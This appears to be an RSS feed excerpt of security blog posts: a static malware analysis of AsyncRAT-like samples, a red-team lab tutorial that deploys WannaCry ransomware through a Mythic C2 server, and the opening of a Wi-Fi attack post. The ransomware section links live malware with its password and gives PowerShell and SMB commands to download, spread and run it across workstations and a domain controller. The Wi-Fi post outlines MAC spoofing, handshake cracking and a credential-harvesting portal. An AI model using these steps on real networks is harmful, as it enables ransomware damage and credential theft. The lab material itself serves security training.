href="https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file"><strong><em>Portfolio</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fba44d152d5b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/behavioral-malware-analysis-investigating-a-multi-stage-malware-sample-inside-an-isolated-lab-fba44d152d5b">Behavioral Malware Analysis: Investigating a Multi-Stage Malware Sample Inside an Isolated Lab</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Static Malware Analysis of Suspicious Windows PE Samples: A Blue Team Investigation]]></title>
            <link>https://infosecwriteups.com/static-malware-analysis-of-suspicious-windows-pe-samples-a-blue-team-investigation-6c1e1b178513?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c1e1b178513</guid>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 16:12:11 GMT</pubDate>
            <atom:updated>2026-07-29T07:17:08.856Z</atom:updated>
            <content:encoded><![CDATA[<p>Static malware analysis is typically the first line of investigation when dealing with a suspicious executable. Before a sample ever touches a sandbox, analysts can extract meaningful intelligence by examining its structure, metadata, embedded strings, imported APIs, and behavioral indicators — all without running a single line of code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fdm8TylywMK4CTww6KhbyA.png" /></figure><p>In this investigation, I conducted a comprehensive static analysis of multiple suspicious Windows Portable Executable (PE) samples using a dedicated malware analysis lab built on REMnux and FLARE-VM. The goal was to identify Indicators of Compromise (IOCs), uncover malicious capabilities, and map observed behaviors to the MITRE ATT&amp;CK framework, entirely through static means.</p><blockquote>The complete project, screenshots, and supporting documentation are available on <a href="https://github.com/0x0allenace/static-malware-analysis-report"><strong>GitHub</strong></a>.</blockquote><h4>Analysis Workflow</h4><p>Suspicious PE Sample<br> ↓<br>Hash Analysis<br> ↓<br>Metadata Analysis<br> ↓<br>Strings &amp; FLOSS<br> ↓<br>PEStudio<br> ↓<br>PEview / DIE<br> ↓<br>CAPA<br> ↓<br>IOC Extraction<br> ↓<br>MITRE ATT&amp;CK Mapping</p><h4><strong>Why Static Analysis Matters</strong></h4><p>Static analysis gives defenders a way to examine malware safely, without putting production systems at risk.</p><p>Where dynamic analysis watches malware in action, static analysis focuses on the executable itself — before execution ever occurs. This approach allows analysts to:</p><ul><li>Extract Indicators of Compromise (IOCs)</li><li>Identify persistence mechanisms</li><li>Uncover command-and-control (C2) indicators</li><li>Detect process injection capabilities</li><li>Understand executable structure</li><li>Produce detection content ahead of any live execution</li></ul><p>For SOC analysts and incident responders, these artifacts often form the foundation of threat hunting queries, SIEM detections, and incident investigations.</p><h4><strong>Analysis Environment</strong></h4><p>All analysis was conducted inside isolated virtual machines to maintain a fully controlled environment.</p><p><strong>REMnux</strong> served as the Linux-based triage environment, providing command-line tools including file, sha256sum, strings, grep, ExifTool, and FLOSS.</p><p><strong>FLARE-VM</strong> provided the Windows-based analysis platform, with access to specialized malware analysis utilities including PEStudio, Detect It Easy (DIE), PEview, CAPA, and VirusTotal.</p><p>Together, these environments enabled both low-level executable inspection and higher-level behavioral analysis.</p><h3><strong>Investigation Workflow</strong></h3><p>Rather than relying on any single tool, the analysis followed a layered methodology.</p><h4><strong>1. Sample Identification</strong></h4><p>The first task was confirming the file type. Despite the samples carrying modified extensions, Linux file identification utilities immediately confirmed them as legitimate Windows PE files. SHA-256 hashes were then generated for threat intelligence lookups.</p><p><strong>Screenshot:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RQNv61R6fqWxp0WiBnaiA.png" /></figure><h4><strong>2. Threat Intelligence Correlation</strong></h4><p>Hashes were submitted to VirusTotal, where multiple antivirus engines flagged the samples as malicious. Community intelligence also pointed to similarities with AsyncRAT. While reputation alone is never sufficient for definitive classification, external intelligence significantly strengthened confidence in subsequent findings.</p><p><strong>Screenshots:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h78ttBAsZxZNYsKXIYa4Zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXV_NphQ7EO7r9wV02a2ow.png" /></figure><h4><strong>3. Metadata Inspection</strong></h4><p>ExifTool revealed references to RuntimeBroker.exe within the executable metadata. RuntimeBroker is a legitimate Windows process frequently abused by malware to blend malicious activity into normal operating system behavior. While metadata cannot confirm process injection occurred, it provides valuable investigative leads worth pursuing.</p><p><strong>Screenshot:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_ibU9tY_gfwRqQYnFwOjQ.png" /></figure><h4><strong>4. String Analysis</strong></h4><p>String extraction produced a considerably richer picture. Among the recovered artifacts were registry autorun keys, Windows API references, embedded domains, command interpreter references, and Base64-encoded content. Notably, the presence of the CurrentVersion\Run registry path — a well-known persistence mechanism that triggers execution at user logon, stood out as a significant finding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t9V0m1gwUMxNz_4-mgA6qw.png" /></figure><h3><strong>Indicators of Malicious Behavior</strong></h3><p>Several observations during the investigation pointed clearly to malicious intent.</p><p><strong>Registry Persistence</strong><br>Registry autorun locations strongly suggested the malware was capable of establishing persistence across reboots — a technique commonly used by Remote Access Trojans (RATs) to maintain long-term access.</p><p><strong>Process Injection</strong><br> Windows APIs including VirtualAlloc, WriteProcessMemory, and CreateRemoteThread were identified within the executable. While static analysis cannot confirm these were called at runtime, their presence is strongly associated with process injection techniques used to execute malicious code inside legitimate Windows processes.</p><p><strong>Command and Control Indicators</strong><br>Embedded domains and network-related strings suggested the malware was designed to communicate with external infrastructure. These artifacts are valuable candidates for DNS monitoring, firewall blocklisting, SIEM alerting, and threat intelligence enrichment.</p><p><strong>Obfuscation Techniques</strong><br>FLOSS recovered numerous decoded strings that were completely absent during standard string extraction — highlighting the malware’s use of obfuscation to hinder conventional analysis. Recovering these hidden artifacts significantly improved visibility into the sample’s intended functionality.</p><h4><strong>5. PE Structure Analysis</strong></h4><p>Analysis using PEview and Detect It Easy examined the DOS header, NT headers, Import Address Table, section headers, entropy, and compilation timestamps. Entropy values remained within a moderate range, suggesting the sample was not heavily packed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2wMd9PLNq1E63WfAyzfk3g.png" /></figure><p>This highlights an important point: not all malware relies on packing. Some families remain relatively transparent in structure while depending instead on process injection, persistence mechanisms, and string obfuscation to evade detection.</p><h4><strong>6. Capability Analysis with CAPA</strong></h4><p>CAPA provided one of the most valuable stages of the investigation. Rather than simply enumerating imported APIs, CAPA identifies behaviors that the executable is capable of performing. Detected capabilities included process injection, memory allocation, registry persistence, network communication, encryption, and defense evasion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JkzA9ltyNQX_hdXor_PpjA.png" /></figure><p>CAPA also mapped these capabilities directly to the MITRE ATT&amp;CK framework, translating technical observations into recognized adversary techniques that security teams can act on immediately.</p><h4><strong>Key Findings</strong></h4><p>The investigation revealed multiple indicators consistent with modern Windows Remote Access Trojans, including registry persistence mechanisms, process injection APIs, embedded network indicators, encoded configuration data, suspicious API imports, memory manipulation capabilities, and MITRE ATT&amp;CK, MAEC, and MBC mappings. Taken together, these observations point strongly to behavior associated with malware families similar to AsyncRAT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dTavQ-i74p6_sv2MBVxLxQ.png" /></figure><h4><strong>Lessons Learned</strong></h4><p>This investigation reinforced several core principles of malware analysis. Meaningful intelligence can be extracted without ever executing a sample. No single tool tells the complete story — combining <strong>FLOSS, PEStudio, CAPA, PEview, DIE, VirusTotal, </strong>and traditional Linux utilities produced a far richer picture than any one tool could provide alone. And mapping technical findings to frameworks like MITRE ATT&amp;CK transforms raw observations into actionable intelligence that SOC teams can immediately apply to threat hunting and detection engineering.</p><h4><strong>From Analysis to Detection</strong></h4><p>Malware analysis only delivers value when it improves detection capabilities. The IOCs identified during this investigation can be fed directly into SIEM detection rules, EDR hunting queries, threat intelligence platforms, IOC repositories, detection engineering workflows, and incident response playbooks. Understanding how malware behaves before an intrusion escalates is what separates proactive defense from reactive firefighting.</p><h4>Final Thoughts</h4><p>Static malware analysis remains one of the most valuable skills a SOC analyst, DFIR practitioner, or threat hunter can develop. While dynamic analysis provides runtime evidence, static analysis offers a safe and efficient path to understanding suspicious binaries, generating actionable intelligence, and developing effective detections — all before malware is ever executed.</p><p>This project demonstrates a practical, reproducible workflow for analyzing Windows PE malware using freely available, industry-standard tools and established threat intelligence frameworks. If you are building your own Blue Team portfolio, I encourage you to work through analyses like this yourself. The hands-on experience translates directly into stronger detection, investigation, and incident response capability.</p><blockquote>The complete project, screenshots, MITRE mappings, and supporting documentation are available on <a href="https://github.com/0x0allenace/static-malware-analysis-report"><strong>GitHub</strong></a>. If you found this investigation useful, I would love to hear your thoughts or discuss alternative approaches to static malware analysis.</blockquote><p><strong><em>Contact: </em></strong><a href="https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file"><strong><em>Portfolio</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c1e1b178513" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/static-malware-analysis-of-suspicious-windows-pe-samples-a-blue-team-investigation-6c1e1b178513">Static Malware Analysis of Suspicious Windows PE Samples: A Blue Team Investigation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr. Robot Hands-on: Data Destruction]]></title>
            <link>https://allenace.medium.com/mr-robot-hands-on-data-destruction-963d66e972da?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/963d66e972da</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 17:30:35 GMT</pubDate>
            <atom:updated>2026-07-25T17:30:35.919Z</atom:updated>
            <content:encoded><![CDATA[<p>In this session, we take on the Mr. Robot (Red Team) role and simulate a data destruction attack, specifically a ransomware attack — against the ECorp network. In the follow-up article, we will switch to the Blue Team perspective, examine the telemetry generated by the attack, and explore how a ransomware incident can be detected and analyzed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1v7kOllqswEJ4YbL_9_IA.png" /></figure><h3><strong>⚠️ WARNING</strong></h3><blockquote>This hands-on involves real malware that is capable of causing serious damage to your host system if handled incorrectly. Read and follow every instruction carefully to prevent the malware from escaping your virtual lab environment. The lab setup will be modified specifically to minimize risk — but your attention to detail is essential.</blockquote><p>You have two options for this exercise:</p><ul><li><strong>WannaCry ransomware</strong>: a real-world ransomware sample. It is unforgiving if a mistake is made.</li><li><strong>Rexorsarus</strong>: a purpose-built sample that only XOR-encrypts files within a specific directory, making accidental execution far easier to recover from.</li></ul><p><strong>If you are not fully comfortable running malware in a lab environment, do not proceed.</strong> The telemetry generated by the attack will be made available in the next article, so you will still be able to complete the Blue Team analysis without running the malware yourself.</p><blockquote><strong>The authors accept no responsibility for any damage caused by misuse of these materials, including accidental deployment of ransomware on a host system or home network.</strong></blockquote><ol><li>Download one of the password-protected zip files from the link below directly to your <strong>Kali VM</strong>. <strong>Do not download it to your host system under any circumstances.</strong> Once downloaded, an isolated network will be configured to ensure the malware cannot spread beyond the virtual environment.</li></ol><p><a href="https://ln5.sync.com/dl/4a3e1c0f0#74jkck55-xbea6jpv-jc2ph73j-y5jrx8ut">Ransomware.wannacry.exe.malz.7z</a></p><p><a href="https://github.com/M122/logz/blob/main/Rexorsarus-RE1-Win64.zip">Rexorsarus</a></p><ol><li>Go to VirtualBox Manager and select “Tools” and then select Create.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXtwCezWUgOux0K5WeIHuA.png" /></figure><p>2. Configure the network adapter manually by setting the <strong>IP address</strong> to 10.6.6.1 and the <strong>Subnet Mask</strong> to 255.255.255.0. This creates a dedicated and isolated network range specifically for use during the malware simulation. Before proceeding, confirm that neither your home network nor any of your existing virtual networks are currently using this IP range to avoid any unintended conflicts or exposure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AKGPGYMwhX1qm6JrRrueig.png" /></figure><p>Select the <strong>DHCP</strong> tab and verify that your DHCP server is configured with the following settings:</p><ul><li><strong>Server Address:</strong> 10.6.6.2</li><li><strong>Server Mask:</strong> 255.255.255.0</li><li><strong>Lower Address Bound:</strong> 10.6.6.3</li><li><strong>Upper Address Bound:</strong> 10.6.6.254</li></ul><p>Once confirmed, click <strong>Apply</strong>. This ensures that all virtual machines on the isolated network will automatically receive an IP address within the 10.6.6.3 to 10.6.6.254 range.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jlCtHzV3DznGlYC5FNQbg.png" /></figure><p>4. Ensure that all of your virtual machines are fully powered down before making any changes.</p><p>5. Open <strong>VirtualBox Manager</strong> and update the network adapter configuration for each VM that will be used in this exercise. Note that <strong>pfSense will not be used</strong> in this setup, as VirtualBox’s built-in DHCP server will be handling network addressing instead. For each VM, change the network adapter type to <strong>Host-Only Adapter</strong> and then select <strong>VirtualBox Host-Only Ethernet Adapter #2</strong> from the dropdown menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tuY0tc-61LltB8imfr8m-w.png" /></figure><p>6. Ensure there are no other Adaptors enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQgFYWNHtJhBHzng8sLCoA.png" /></figure><p>7. Ensure that no <strong>Shared Folders</strong> exist between your virtual machines and your host system. If any shared folders are configured, remove them before proceeding. This is an important precaution to prevent any possibility of the malware crossing over from the virtual environment to your host machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EEGJ4vQNTvQtO90ewwY6vg.png" /></figure><p>8. Power up each VM and confirm the IP address is in the 10.6.6.* range.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Y6FC9GRJjCm5bIqu5K5Ow.png" /></figure><p>9. Verify that both <strong>Shared Clipboard</strong> and <strong>Drag &#39;n&#39; Drop</strong> are disabled on every virtual machine. These features can create a pathway between the virtual environment and the host system, so disabling them is essential before running any malware.</p><p>10. As a final safety check, attempt to ping 8.8.8.8 from each virtual machine. <strong>You should not receive a response.</strong> A successful ping would indicate that the VM has internet access, meaning the isolated network has not been configured correctly and the malware could potentially reach the outside network. Do not proceed until this check confirms no connectivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-pdare3tnO6I8Fs9R0LsPw.png" /></figure><p>11. Attempt to ping one of the Windows VMs or the Domain Controller being used for the exercise. <strong>You should receive a successful response.</strong> This confirms that communication between virtual machines within the isolated network is working correctly and that the lab environment is properly configured for the exercise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YzFtfTBoP_QDc_56RUy8cg.png" /></figure><p>This confirms two things — that the isolated virtual network has no internet connectivity, and that all VMs participating in the exercise can communicate with one another. The safe lab environment is now fully configured and ready for the exercise to begin.</p><h4><strong>Command and Control</strong></h4><p>Since the network configuration and IP addresses have changed, a new C2 payload needs to be generated that calls back to the updated IP address of the Mythic server running on the Kali VM. In this case, the new Kali IP address is 10.6.6.6.</p><p>If Mythic is already installed on your Kali VM, access the web interface by navigating to:</p><pre>https://localhost:7443</pre><p>From there, go to the <strong>Payloads</strong> page and click on the <strong>Actions</strong> dropdown, then select <strong>Generate New Payload</strong> to begin creating the updated payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CjVEjAK8Jpo8JoVs7zEfXw.png" /></figure><p>Select Windows from the dropdown and then select Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rn6lVD8j1pM9Ti5Jsy4hPQ.png" /></figure><p>For payload type, use Apollo and the output should be WinExe. Then select Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZR0GaCR5vmX7QVN1Njl18w.png" /></figure><p>Select the double arrows to use all available commands and then select Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GO7S3akT3JG2VCkbYcWiTA.png" /></figure><p>Move the slider to enable <strong>HTTP</strong>, then update the <strong>Callback Host</strong> field to reflect the new IP address. Make sure the address is prefixed with http:// and not https:// — using HTTPS here will cause the callback to fail. Once the callback host has been updated, click <strong>Next</strong> to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OcqGyKFXzjm7oTaNq_RBbw.png" /></figure><p>Change the name. I named it fsociety.exe and select Create Payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KKUz9BoLphIk13GI6diyUQ.png" /></figure><p>When it is completed, go back to the Payload page and download the new payload (fsociety.exe).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lm3Z3JFx8O-lx0aX-lwkHg.png" /></figure><p>From the terminal, move the newly generated payload to the home directory. This makes it more convenient to serve the file through the web server when delivering the payload to the target machine.</p><pre>sudo mv /home/elliot/Downloads/fsociety.exe /home/elliot/fsociety.exe</pre><p>Ensure the file was moved by running the ls command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jr3XVh_Oamlv8GlsURiHRA.png" /></figure><p>Since a C2 session was already active prior to reconfiguring the network infrastructure, changes that were made specifically to contain the ransomware within the virtual environment — the victim machine will use the web server to download and install the updated C2 agent.</p><p>Set up a web server on the Kali VM to host and deliver the payload:</p><pre>python3 -m http.server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Neqn6Lcp6U3CqqyXiSO9Rw.png" /></figure><p>On the victim machine, open a web browser and navigate to:</p><pre>http://10.6.6.6:8000</pre><p>Locate <strong>fsociety.exe</strong> in the directory listing and download it to the victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcHU-Fwp-1swCH68Q_vZ_A.png" /></figure><p>Once downloaded, execute the file.</p><p>Go to your Mythic server. As seen below we have an active C2 connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5lGDC5DqKeOJCKfOtlR7g.png" /></figure><p>On the victim machine, move the ransomware file from the <strong>Downloads</strong> folder, where it was saved earlier — to the user’s home directory. This makes it easier to execute during the next stage of the exercise.</p><pre>sudo mv /home/elliot/Downloads/Ransomware.wannacry.exe.malz.7z /home/elliot/Ransomware.wannacry.exe.malz.7z</pre><p>We can unzip the ransomware using the command below. The password is “infected”.</p><pre>7z x Ransomware.wannacry.exe.malz.7z </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pwvjSoFaEBc-EFO25emZVA.png" /></figure><p>As seen below the file was unzipped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9Yvmy7QX5jND2Tvdu1mNg.png" /></figure><p>Notice the <strong>.malz</strong> file extension on the ransomware file. This is an additional safety measure used to prevent accidental execution, double-clicking a file with this extension would not trigger it. However, the file cannot be deployed to victim machines with this extension in place, so it will need to be renamed before use.</p><p>In Linux, files are renamed using the mv command, pointing to the same directory the file is already in:</p><pre>mv Ransomware.wannacry.exe.malz Ransomware.wannacry.exe</pre><p>This simply renames the file in place without moving it to a different location.</p><p>When we run “ls” we see the name was changed. The ransomware is now ready to be deployed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZA05zcz1a3jpC7DXZLzhjg.png" /></figure><h3>Deploying the Ransomware</h3><p>From the Mythic C2 server run the command below</p><pre>powershell Invoke-WebRequest -Uri &quot;http://10.6.6.6:8000/Ransomware.wannacry.exe&quot; -OutFile &quot;C:\Users\tcolby\Desktop\Ransomware.wannacry.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCqltDtc89UffGYUBMvQ7Q.png" /></figure><p>As shown above, the ransomware has been successfully written to the Desktop of the <strong>tcolby</strong> machine.</p><p>The next step is to move the ransomware across to the <strong>wrk-price</strong> machine, replicating the lateral movement stage of the attack and positioning the payload for execution on a second victim system.</p><pre>cp &quot;C:\Users\tcolby\Desktop\Ransomware.wannacry.exe&quot; &quot;\\wrk-price.Ecorp.local\C$\Users\pprice\Desktop\Ransomware.wannacry.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QiG-2_9M2JT9_3ICNHz3Rg.png" /></figure><p>Now move the ransomware to the Domain Controller</p><pre>cp &quot;C:\Users\tcolby\Desktop\Ransomware.wannacry.exe&quot; &quot;\\Ecorp-DC.Ecorp.local\C$\Users\Administrator\Desktop\Ransomware.wannacry.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nhOova-7qd2KfPaHQqzAyg.png" /></figure><p>The ransomware is now deployed across the network and the environment is ready for execution.</p><p>Before proceeding, ensure that a <strong>snapshot</strong> has been taken of each virtual machine. This allows you to revert all systems back to their pre-infection state once the exercise is complete.</p><h4><strong>Executing the Ransomware</strong></h4><p>The ransomware will be executed remotely from the <strong>Mythic C2 server</strong>. Since the <strong>wrk-colby</strong> machine is being used as the SMB pivot point, it should be the last system to be infected. Begin with the <strong>wrk-price</strong> system first and use the command below to execute the ransomware:</p><pre>powershell &quot;Start-Process -FilePath &#39;\\wrk-price.Ecorp.local\C$\Users\pprice\Desktop\Ransomware.wannacry.exe&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pTec40wxFjUezkKDVdAVYw.png" /></figure><p>Note that several minutes passed between the initial execution of the ransomware and the point at which it finished encrypting all files and displayed the ransom screen shown above.</p><p>Use the command below to execute the ransomware on the <strong>Domain Controller</strong>:</p><pre>powershell &quot;Start-Process -FilePath &#39;\\Ecorp-DC.Ecorp.local\C$\Users\Administrator\Desktop\Ransomware.wannacry.exe&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iwrjDIcpWemLgO2SashIHQ.png" /></figure><p>Lastly, we can run it on wrk-tcolby</p><pre>powershell &quot;Start-Process -FilePath &#39;C\Users\tcplby\Desktop\Ransomware.wannacry.exe&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMH7jjf2nQCpv7v4mJBEVw.png" /></figure><h4><strong>Option 2: Rexorsarus</strong></h4><p>Move the Rexorsarus ransomware file from the <strong>Downloads</strong> folder, where it was saved earlier — to the user’s home directory:</p><pre>sudo mv /home/elliot/Downloads/Rexorsarus-RE1-Win64.zip /home/elliot/Rexorsarus-RE1-Win64.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IxTM11KrGhsIWRg-t2OQig.png" /></figure><p>We can unzip the ransomware using the command below. The password is “infected”.</p><pre>unzip Rexorsarus-RE1-Win64.zip </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ee7gnlgXjt5IW5qid0dqJA.png" /></figure><p>As seen below the file was unzipped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AxAA6D5DPzqub-O19bE9iQ.png" /></figure><h3>Deploying Rexorsarus</h3><p>From the Mythic C2 server run the command below</p><pre>powershell Invoke-WebRequest -Uri &quot;http://10.6.6.6:8000/Rexorsarus-RE1.exe&quot; -OutFile &quot;C:\Users\tcolby\Documents\Rexorsarus-RE1.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjFAETPRJa0_Naq8ZCWzoA.png" /></figure><p>As seen above Rexorsarus was written to the Documents of the tcolby machine.</p><p>Now move the Rexorsarus to wrk-price.</p><pre>cp &quot;C:\Users\tcolby\Documents\Rexorsarus-RE1.exe&quot; &quot;\\wrk-price.Ecorp.local\C$\Users\pprice\Documents\Rexorsarus-RE1.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NzF_pxbajpyecD7ntTbPQ.png" /></figure><p>Now move Rexorsarus to the Domain Controller</p><pre>cp &quot;C:\Users\tcolby\Documents\Rexorsarus-RE1.exe&quot; &quot;\\Ecorp-DC.Ecorp.local\C$\Shares\SteelMountain\Rexorsarus-RE1.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFMGeEMGQ4N-i4dqA6DJIQ.png" /></figure><p>Rexorsarus is now deployed across the network and the environment is ready for execution.</p><p>Before proceeding, ensure that a <strong>snapshot</strong> has been taken of each virtual machine so that all systems can be reverted to their pre-infection state once the exercise is complete.</p><h4><strong>Executing the Ransomware</strong></h4><p>The ransomware will be executed remotely from the <strong>Mythic C2 server</strong>. Since the <strong>wrk-colby</strong> machine is being used as the SMB pivot point, it should be the last system to be infected. Begin with the <strong>wrk-price</strong> system first and use the command below to execute the ransomware:</p><pre>powershell &quot;Start-Process -FilePath &#39;\\wrk-price.Ecorp.local\C$\Users\pprice\Documents\Rexorsarus-RE1.exe&#39;&quot;</pre><p>Note that Rexorsarus failed to run on wrk-pprice</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxZPvM0o2syg4sqJAgA45w.png" /></figure><p>Use the command below to execute the ransomware on the Domain Controller.</p><pre>powershell &quot;Start-Process -FilePath &#39;\\Ecorp-DC.Ecorp.local\C$\Shares\SteelMountain\Rexorsarus-RE1.exe&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7QZ_XJUUejF72ICU516yw.png" /></figure><p>Lastly, we can run it on wrk-tcolby</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXP6cIf33MpMh_Cup7fc5w.png" /></figure><h3><strong>Conclusion</strong></h3><p>Phase 7 of the Mr. Robot exercise demonstrated how an attacker with an established C2 foothold can systematically deploy ransomware across an entire enterprise network — encrypting files on multiple systems with minimal effort. The exercise reinforced that ransomware is not a single event but the result of a chain of security failures, from initial access and persistence through to lateral movement and execution. The isolation measures implemented throughout the session also highlighted the importance of responsible and disciplined handling of real malware in a lab environment. In the next article, the Blue Team perspective will take over — analyzing the telemetry and forensic artifacts generated by the attack to identify detection opportunities and build stronger defenses.</p><h4><strong>Disclaimer</strong></h4><p><em>This walkthrough and all associated exercises are intended strictly for educational purposes within a controlled and isolated virtual lab environment. The malware samples referenced in this blog — including WannaCry and Rexorsarus are dangerous tools that can cause irreversible damage if mishandled. All techniques and procedures described must only be performed within a properly isolated lab environment and must never be attempted on any real-world network, system, or infrastructure. The authors and publishers of this material accept no responsibility for any damage, data loss, or legal consequences arising from the misuse or accidental deployment of any malware referenced in this content. Always exercise extreme caution when working with real malware samples, and ensure your lab environment is fully isolated before proceeding.</em></p><blockquote>Contact: <a href="https://github.com/0x0allenace/SOC-Analyst-Portfolio?tab=readme-ov-file">Portfolio</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=963d66e972da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr. Robot Hands-on: Wireless Attack]]></title>
            <link>https://allenace.medium.com/mr-robot-hands-on-wireless-attack-541269d40eab?source=rss-bb0151916ce2------2</link>
            <guid isPermaLink="false">https://medium.com/p/541269d40eab</guid>
            <category><![CDATA[wireless-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Allen Ace]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 10:33:11 GMT</pubDate>
            <atom:updated>2026-07-20T10:33:11.826Z</atom:updated>
            <content:encoded><![CDATA[<p>In this phase of the exercise, the red team steps into Mr. Robot’s shoes to infiltrate the ECorp network through wireless attack techniques. The first task involves spoofing a MAC address to impersonate a device already permitted on the ECorp network, since ECorp enforces both MAC address filtering and WPA2 PSK authentication as its wireless security controls. From there, the objective is to capture a WPA2 four-way handshake and crack the Wi-Fi password to gain access to the ECorp wireless network. The phase also includes an Evil Portal attack, where a rogue access point is set up to deceive ECorp employees into unknowingly surrendering their credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*JPX95F58YUGPK2AA7yd4jw.png" /></figure><h3><strong>Lab Setup</strong></h3><p>This exercise requires a wireless USB adapter that is compatible with Kali Linux and supports promiscuous (monitor) mode, a configurable wireless access point, and a Wi-Fi Pineapple. If you do not have access to these physical devices, you can still follow along with the MAC spoofing portion and work with pre-captured data to complete the password cracking component.</p><p>Download the pcap file <strong>aircrack-01.cap</strong> from the link below to get started.</p><p><a href="https://ln5.sync.com/dl/912d8bf10#ab7nzgrs-ajdxuetq-sygsq6f8-hydhfpj4">aircrack-01.cap</a></p><p>Alfa Card Link on Amazon</p><p><a 